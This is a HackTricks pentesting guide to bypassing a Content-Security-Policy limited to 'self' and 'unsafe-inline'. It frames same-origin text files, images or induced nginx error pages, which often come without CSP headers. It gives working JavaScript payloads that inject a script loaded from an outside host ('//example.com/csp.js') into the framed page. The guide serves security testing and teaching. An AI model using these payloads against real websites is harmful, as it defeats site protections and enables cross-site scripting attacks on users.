hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
2024-12-12 11:39:29 +01:00

4.5 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

A configuration such as:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Prohibits usage of any functions that execute code transmitted as a string. For example: eval, setTimeout, setInterval will all be blocked because of the setting unsafe-eval

Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS

Via Text & Images

It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as favicon.ico or robots.txt, is opened via an iframe, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Via Errors

Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}